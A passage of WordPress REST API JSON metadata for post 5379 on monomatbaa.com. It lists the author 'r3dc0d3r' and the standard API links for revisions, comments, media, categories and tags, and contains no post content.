Setup"}]},{"@type":"Person","@id":"https:\/\/monomatbaa.com\/en\/#\/schema\/person\/0666da70525e8dc488e0136460da820e","name":"r3dc0d3r","url":"https:\/\/monomatbaa.com\/en\/author\/r3dc0d3r\/"}]}},"_links":{"self":[{"href":"https:\/\/monomatbaa.com\/en\/wp-json\/wp\/v2\/posts\/5379","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/monomatbaa.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/monomatbaa.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/monomatbaa.com\/en\/wp-json\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/monomatbaa.com\/en\/wp-json\/wp\/v2\/comments?post=5379"}],"version-history":[{"count":1,"href":"https:\/\/monomatbaa.com\/en\/wp-json\/wp\/v2\/posts\/5379\/revisions"}],"predecessor-version":[{"id":5380,"href":"https:\/\/monomatbaa.com\/en\/wp-json\/wp\/v2\/posts\/5379\/revisions\/5380"}],"wp:attachment":[{"href":"https:\/\/monomatbaa.com\/en\/wp-json\/wp\/v2\/media?parent=5379"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/monomatbaa.com\/en\/wp-json\/wp\/v2\/categories?post=5379"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/monomatbaa.com\/en\/wp-json\/wp\/v2\/tags?post=5379"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}